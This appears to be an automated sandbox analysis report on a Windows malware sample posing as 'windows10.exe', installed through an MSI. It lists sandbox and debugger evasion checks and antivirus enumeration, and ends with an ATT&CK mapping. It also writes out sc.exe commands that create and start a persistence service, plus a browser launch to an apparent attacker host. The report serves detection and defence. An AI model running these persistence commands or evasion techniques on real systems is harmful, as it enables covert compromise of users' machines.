Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1C0E90D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 201362F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F3F32F
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DB837E
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 15089BC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E9FE3A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 14DB8A4
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1E736DB
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1F34F13
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	API/Special instruction interceptor: Address: 1DBEB9A

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\disk\Enum name: 0

Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Code function: 14_2_010B5E5A rdtsc

14_2_010B5E5A

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID754.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID6F5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID7D3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID686.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID783.tmp	Jump to dropped file

Source: C:\Windows\Installer\MSIDD62.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_12-35361
Source: C:\Windows\Installer\MSIDD92.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_13-35207

Source: C:\Windows\Installer\MSIDD62.tmp	API coverage: 4.5 %
Source: C:\Windows\Installer\MSIDD92.tmp	API coverage: 4.5 %

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\CIMV2 : Win32_ComputerSystem

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\CIMV2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_004205E9 FindFirstFileExW,	12_2_004205E9
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DB05E9 FindFirstFileExW,	13_2_00DB05E9
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_008FD08C FindFirstFileW,	14_2_008FD08C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00ADD08C FindFirstFileW,	26_2_00ADD08C

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Code function: 14_2_008FDCF8 GetSystemInfo,

14_2_008FDCF8

Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Datacenter without Hyper-V Core
Source: windows10.exe, 00000020.00000002.2679332883.0000000004D48000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: #Microsoft-Windows-Hyper-V-VID-Admin
Source: windows10.exe, 00000020.00000002.2679332883.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 0Microsoft-Windows-Hyper-V-Guest-Drivers/Diagnoseal
Source: windows10.exe, 00000020.00000003.1649347613.00000000009DA000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Analytic
Source: windows10.exe, 00000020.00000003.1649347613.00000000009DA000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-Operational
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/AdminLMEM`
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-AnalyticLMEMP
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: QEMUU
Source: windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-OperationalLMEMh
Source: windows10.exe, 00000020.00000003.1622504533.000000007FDC0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SecureVirtualMachine
Source: windows10.exe, 00000020.00000002.2679332883.0000000004CCD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: -Microsoft-Windows-Hyper-V-Hypervisor-Analytic
Source: windows10.exe, 00000020.00000002.2679332883.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 3Microsoft-Windows-Hyper-V-Guest-Drivers/Operational
Source: windows10.exe, 00000020.00000002.2679332883.0000000004D3A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: *Microsoft-Windows-Hyper-V-Hypervisor-Admin`
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/DiagnoseLMEMh
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AdminLMEMX
Source: windows10.exe, 00000020.00000003.1622504533.000000007FDC0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: fsSecureVirtualMachine
Source: windows10.exe, 00000020.00000003.1649347613.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1649607522.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Admin
Source: windows10.exe, 00000020.00000002.2679332883.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 0Microsoft-Windows-Hyper-V-Hypervisor-Operational
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/AnalyticLMEMh
Source: windows10.exe, 00000020.00000003.1649347613.00000000009DA000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-Admin
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Datacenter without Hyper-V Full
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Enterprise without Hyper-V Full
Source: windows10.exe, 00000020.00000003.1649481472.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1650085239.00000000009CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-NETVSC/Diagnostic
Source: windows10.exe, 00000020.00000002.2679332883.0000000004CCD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: -Microsoft-Windows-Hyper-V-Guest-Drivers/Admin
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Server
Source: windows10.exe, 00000020.00000003.1649347613.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1649607522.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Debug
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Standard without Hyper-V Full
Source: windows10.exe, 00000020.00000003.1648660506.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648687824.00000000009AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-NETVSC/DiagnosticLMEMX
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Enterprise without Hyper-V Core
Source: windows10.exe, 00000020.00000002.2500690290.00000000009B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli
Source: windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: stVMWare
Source: windows10.exe, 00000020.00000003.1649347613.00000000009DA000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648631286.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648687824.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1649150067.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-AnalyticRJU"+
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: stQEMU
Source: windows10.exe, 00000020.00000003.1649347613.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1649607522.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-Analytic
Source: windows10.exe, 00000020.00000003.1649347613.00000000009DA000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Diagnose
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: 6without Hyper-V for Windows Essential Server Solutions
Source: windows10.exe, 00000020.00000002.2679332883.0000000004D3A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: +Microsoft-Windows-Hyper-V-NETVSC/Diagnostic`
Source: windows10.exe, 00000020.00000002.2679332883.0000000004D24000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: &Microsoft-Windows-Hyper-V-VID-Analytic
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/OperationalLMEMh
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AnalyticLMEM`
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/DebugLMEM`
Source: windows10.exe, 00000020.00000002.2679332883.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 0Microsoft-Windows-Hyper-V-Guest-Drivers/Analytic
Source: windows10.exe, 00000020.00000002.2679332883.0000000004CCD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: -Microsoft-Windows-Hyper-V-Guest-Drivers/Debug
Source: windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: windows10.exe, 00000020.00000003.1649347613.00000000009DA000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Operational
Source: windows10.exe, 00000020.00000003.1622019897.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Standard without Hyper-V Core
Source: hBqTrQLya4.msi	Binary or memory string: MvmCiy
Source: windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-AdminLMEMH
Source: windows10.exe, 00000020.00000003.1649347613.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1649607522.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000020.00000003.1648221309.00000000009A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-Admin8"

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Code function: 14_2_010B5E5A rdtsc

14_2_010B5E5A

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_0040C3B6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

12_2_0040C3B6

Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_004203E8 mov eax, dword ptr fs:[00000030h]	12_2_004203E8
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_0041843F mov ecx, dword ptr fs:[00000030h]	12_2_0041843F
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DB03E8 mov eax, dword ptr fs:[00000030h]	13_2_00DB03E8
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DA843F mov ecx, dword ptr fs:[00000030h]	13_2_00DA843F

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_003E2510 GetProcessHeap,

12_2_003E2510

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\Installer\MSIDD62.tmp "C:\Windows\Installer\MSIDD62.tmp" /DontWait /HideWindow "C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\

Jump to behavior

Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_0040C3B6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0040C3B6
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_004083BD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_004083BD
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_00408553 SetUnhandledExceptionFilter,	12_2_00408553
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_00407B9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00407B9C
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D983BD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00D983BD
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D9C3B6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00D9C3B6
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D98553 SetUnhandledExceptionFilter,	13_2_00D98553
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D97B9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00D97B9C

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_003E7660 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,Sleep,EnumWindows,BringWindowToTop,WaitForSingleObject,GetExitCodeProcess,GetWindowThreadProcessId,GetWindowLongW,

12_2_003E7660

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MeuServico	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://45.90.123.184/clientes/inspecionando.php	Jump to behavior

Source: windows10.exe, 00000020.00000002.2679332883.0000000004D16000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: PROGRAM MANAGER

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_0040801C cpuid

12_2_0040801C

Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetLocaleInfoEx,FormatMessageA,	12_2_003F2161
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetLocaleInfoEx,	12_2_004071C1
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	12_2_00423414
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: EnumSystemLocalesW,	12_2_004236B6
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: EnumSystemLocalesW,	12_2_00423701
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: EnumSystemLocalesW,	12_2_0042379C
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: EnumSystemLocalesW,	12_2_0041C7A2
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	12_2_00423827
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetLocaleInfoW,	12_2_00423A7A
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	12_2_00423BA3
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetLocaleInfoW,	12_2_00423CA9
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	12_2_00423D78
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: GetLocaleInfoW,	12_2_0041CD1F
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetLocaleInfoEx,	13_2_00D971C1
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetLocaleInfoEx,FormatMessageA,	13_2_00D82161
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	13_2_00DB3414
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: EnumSystemLocalesW,	13_2_00DB36B6
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: EnumSystemLocalesW,	13_2_00DB379C
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: EnumSystemLocalesW,	13_2_00DAC7A2
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: EnumSystemLocalesW,	13_2_00DB3701
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	13_2_00DB3827
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetLocaleInfoW,	13_2_00DB3A7A
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	13_2_00DB3BA3
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetLocaleInfoW,	13_2_00DB3CA9
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	13_2_00DB3D78
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: GetLocaleInfoW,	13_2_00DACD1F

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_00408615 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

12_2_00408615

Source: C:\Windows\Installer\MSIDD62.tmp

Code function: 12_2_0041D192 GetTimeZoneInformation,

12_2_0041D192

Source: windows10.exe, 00000020.00000002.2500690290.0000000000947000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter : AntiVirusProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter : AntiSpywareProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter : FirewallProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiSpywareProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : FirewallProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	31 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 Credential API Hooking	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
